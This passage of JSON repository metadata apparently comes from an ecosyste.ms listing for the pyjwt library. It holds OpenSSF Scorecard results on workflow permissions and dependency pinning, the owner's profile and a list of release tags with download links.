repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"p